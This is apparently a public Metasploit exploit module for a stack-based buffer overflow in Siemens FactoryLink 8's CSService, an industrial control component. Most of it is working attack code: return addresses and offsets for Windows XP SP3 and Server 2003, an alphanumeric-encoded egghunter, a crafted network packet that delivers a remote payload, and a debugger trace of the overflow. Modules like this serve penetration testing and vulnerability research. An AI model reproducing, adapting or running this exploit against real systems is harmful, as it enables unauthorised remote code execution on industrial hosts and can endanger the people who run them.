Siemens FactoryLink 8 – CSService Logging Path Parameter Buffer Overflow (Metasploit)
## # $Id: factorylink_csservice.rb 13019 2011-06-25 00:54:18Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Egghunter def initialize(info={}) super(update_info(info, 'Name' => "Siemens FactoryLink 8 CSService Logging Path Param Buffer Overflow", 'Description' => %q{ This module exploits a vulnerability found on Siemens FactoryLink 8. The vulnerability occurs when CSService.exe processes a CSMSG_ListFiles_REQ message, the user-supplied path first gets converted to ANSI format (CodePage 0), and then gets handled by a logging routine where proper bounds checking is not done, therefore causing a stack-based buffer overflow, and results arbitrary code execution. }, 'License' => MSF_LICENSE, 'Version' => "$Revision: 13019 $", 'Author' => [ 'Luigi Auriemma <aluigi[at]autistici.org>', #Initial discovery, poc 'sinn3r', #Metasploit (thx hal) ], 'References' => [ ['URL', 'http://aluigi.altervista.org/adv/factorylink_1-adv.txt'], ], 'Payload' => { 'BadChars' => "\x00\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f", 'StackAdjustment' => -3500, 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => {'BufferRegister'=>'ECX'}, }, 'DefaultOptions' => { 'ExitFunction' => "process", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3', { 'Offset' => 965, #Offset to overwrite RETN 'Ret' => 0x7e4456f7, #JMP ESP in USER32.dll 'Max' => 1400, #Max buffer used } ], [ 'Windows Server 2003 SP0', { 'Offset' => 965, 'Ret' => 0x77d20738, #JMP ESP in USER32.dll 'Max' => 1400, } ] ], 'Privileged' => false, 'DisclosureDate' => "Mar 25 2011")) register_options( [ Opt::RPORT(7580) ], self.class) end #User input will get converted back to ANSCI with WideCharToMultiByte before vsprintf def to_unicode(text) output = '' (text.length).times do |i| output << text[i,1] << "\x00" end return output end def exploit #Modify payload #XP = Align EAX 0x3a bytes. Win2k3SP0 = 0x0a bytes p = "\x57" #PUSH EDI p << "\x59" #POP ECX p << ((target.name =~ /server 2003/i) ? "\xb0\x0a" : "\xb0\x3a") p << "\x30\xc1" #XOR CL,AL p << payload.encoded #Meterpreter tends to fail because of it being mangled. We use an egghunter #instead to ensure the payload's integrity. egg_options = { :checksum => true, :eggtag => "W00T", } egghunter, p = generate_egghunter(p, payload_badchars, egg_options) #x86/alpha_mixed egghunter alpha_encoder = framework.encoders.create("x86/alpha_mixed") alpha_encoder.datastore.import_options_from_hash( {'BufferRegister'=>'ESP'} ) egghunter = alpha_encoder.encode(egghunter, nil, nil, platform) sploit = '' sploit << make_nops(4) sploit << p sploit << rand_text_alpha(965-sploit.length) sploit << [target.ret].pack('V*') sploit << egghunter sploit << rand_text_alpha(target['Max']-sploit.length) sploit = to_unicode(sploit) pkt = "\x00\x00\x4c\x45\x4e\x00\x40\x0b\x00\x00\x00\x00\x00\x00\x99\x00\x00\x00\x04\x00" pkt << "\x00\x00\x01\x07\x00\x00\x0b\x31\x99\x62\x72\x6b\x01\x00\x00\x00\x02\x04\x00\x00" pkt << "\x00\x04\x00\x00\x00\x01\x07\x00\x00\x0b\x19\x99\x00\x00\x00\x06\x00\x00\x00\x03" pkt << "\x06\x00\x00\x0a\xf6\x11\x22\x33\x44" pkt << sploit pkt << "\x00\x00\x06\x00\x00\x00\x06\x11\x22\x33\x44\x00\x00\x04\x00\x00\x00\x04\x00\x00" pkt << "\x00\x01\x99\x99\x99" print_status("Sending malicious request to remote host...") connect sock.put(pkt) handler select(nil, nil, nil, 6) disconnect end end =begin 0:000> g call vsprintf. Destination=0x0012ead0 Format=0x0043b92c Args=0x0012eedc eax=0012eedc ebx=7c809a99 ecx=0043b92c edx=0012ead0 esi=0012eee8 edi=00000002 eip=0040b908 esp=0012eac4 ebp=0012fabc iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 CSService+0xb908: 0040b908 ff15249b4400 call dword ptr [CSService+0x49b24 (00449b24)] ds:0023:00449b24={msvcrt!vsprintf (77c3fe49)} 0:000> dc 0012ead0 0012ead0 65535343 63697672 43203a65 47534d53 CSService: CSMSG 0012eae0 73694c5f 6c694674 525f7365 2d205145 _ListFiles_REQ - 0012eaf0 6f685320 72694477 2c303d73 6c694620 ShowDirs=0, Fil 0012eb00 3d726574 6150202c 613d6874 61616161 ter=, Path=aaaaa 0012eb10 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa 0012eb20 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa 0012eb30 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa 0012eb40 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa =end |